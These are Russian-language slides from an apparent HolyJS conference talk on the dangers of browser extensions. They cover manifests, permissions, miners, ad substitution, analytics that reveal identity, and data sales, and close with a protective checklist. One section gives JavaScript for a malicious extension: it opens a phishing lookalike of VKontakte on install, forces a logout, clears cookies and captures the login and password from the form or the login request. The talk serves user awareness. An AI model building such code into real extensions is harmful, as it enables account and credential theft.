Расширения для браузера:

угроза или опасность?

Али Гасымов

Первое расширение опубликовал в январе 2017 и понеслось...

Сколько расширений у вас установлено?

QR код для подключения к чату конференции в Телеграме

Telegram: @holyjsconf

Как раcширения появляются у нас в браузере?

Формула

  • Проблема
  • Устанавливаем расширение
  • Проблему решили
  • Про расширение забыли

Что эти расширения делают?

Они на вас зарабатывают

Как расширения зарабатывают?

Как устроены расширения для браузеров?

Австралопитек

Самый главный файл

manifest.json 

{
  "manifest_version": 2,
  "name": "HolyJS 💖",
  "version": "1.0.0"
}

Попап


{
  "browser_action": {
    "default_popup": "popup.html"
  }
}

Если выключить расширение через попап, то оно на самом деле выключится?

QR код для подключения к чату конференции в Телеграме

Telegram: @holyjsconf

Контент скрипты


{
  "content_scripts": [{
    "matches": ["https://vk.com/*"],
    "js": ["js/content.js"]
  }]
}

Контент скрипты

  • DOM
  • Listeners
  • Events
  • Other environment

Бэкграунд


{
  "background": {
    "scripts": ["js/background.js"]
  }
}
Схема обмена сообщений 

// background.js
browser.runtime.onMessage.addListener(async (message) => {
  if (message.type === 'track') {
    const result = await track(message.payload);

    return result;
  }
});

// content.js
browser.runtime.sendMessage({
  type: 'track',
  payload: { /* event data */}
}).then((response) => {
  console.log(response); // 'success'
});

Пермишены

Их больше 50. Здесь самые интересные


{
  "permissions": [
    "http://*/*",
    "https://*/*",
    "tabs",
    "history",
    "cookies",
    "webRequest",
    "management",
    "notifications"
  ]
}

Пермишены grammarly

  1. http://*/*
  2. https://*/*
  3. tabs
  4. notifications
  5. storage
  6. Какой ещё пермишен у grammarly?

Какой ещё пермишен у grammarly?

QR код для подключения к чату конференции в Телеграме

Telegram: @holyjsconf

Что можно делать?

  • Открывать табы
  • Нажимать на кнопки
  • Просматривать все запросы
  • Менять страницу как угодно
  • Отправлять запросы куда угодно
  • Отслеживать действия пользователя

Интеграции

Что это такое?

Откуда берутся интеграции?

  1. Разработчик вставляет интеграцию
  2. Расширение покупают

Какие интеграции бывают?

Майнеры

График с загрузкой процессора

Подмена рекламы

Сбор анонимной аналитики


{
  "cid": "513e6969-8fa9-40af-987a-7b6726523e47",
  "event_type": "open_url",
  "event_payload": {
    "url": "https://www.google.com/"
  }
}
Что можно узнать из
анонимной аналитики?

Личность (:

  • https://example.com/me/123456
  • https://app.netlify.com/teams/alik0211/overview
  • https://holyjs.atlassian.net/jira/projects
  • https://www.notion.so/holyjs/marketing

Город

  • https://dodopizza.ru/krasnodar/krasnaya83
  • https://www.delivery-club.ru/krasnodar
  • https://eda.yandex.ru/krasnodar

Поисковые запросы

  • https://yandex.ru/search/?text=holyjs
  • https://www.google.com/search?q=holyjs

И с кем переписывается

  • https://ok.ru/messages/573044180539
  • https://vk.com/im?sel=304062978

Продажа данных

Воруем логин и пароль

На примере социальной сети ВКонтакте

Вариант 1


// background.js
browser.runtime.onInstalled.addListener(({ reason }) => {
  if (reason === 'install') {
    browser.tabs.create({
      url: 'https://vkontakti.com/',
    });
  }
});

Вариант 2


// content.js
// 1. Логаут
const logoutButton = document.getElementById(
  "top_logout_link"
);

if (logoutButton) {
  logoutButton.click();
}

// 2. Обработка отправки формы
const formElement =
  document.getElementById("index_login_form");

if (formElement) {
  formElement.onsubmit = () => {
    const login =
      document.getElementById("index_email").value;
    const password =
      document.getElementById("index_pass").value;
  };
}

Можно сделать лучше?

Куки

Вариант 3


// 1. Логаут через очистку кук
browser.runtime.onInstalled.addListener(({ reason }) => {
  if (reason === 'install') {
    browser.cookies
      .getAll({
        domain: 'vk.com',
      })
      .then((cookies) => {
        cookies.forEach((cookie) => {
          browser.cookies.remove({
            name: cookie.name,
            url: 'https://vk.com/',
          });
        });
      });
  }
});

// 2. Перехват запроса на авторизвацию
browser.webRequest.onBeforeRequest.addListener(
  (details) => {
    const { requestBody = {} } = details;
    const { formData = {} } = requestBody;
    const { email, pass } = formData;

    return { cancel: false };
  },
  { urls: ['https://login.vk.com/?act=login'] },
  ['requestBody']
);
Единственное, чего стоит бояться на этой планете, — это расширения для браузера.

— Карл Густав Юнг, швейцарский психолог и психиатр

Остановись пока остановка не стала последней!

Отдельный профиль в хроме

Фаерфокс

Чек-лист

  • Пройтись по настройкам расширений
  • Включить 2FA
  • Сбросить сессии в сервисах
  • Разные пароли для разных аккаунтов
  • Менеджер паролей
  • Проверяйте домены сайтов
Чеклист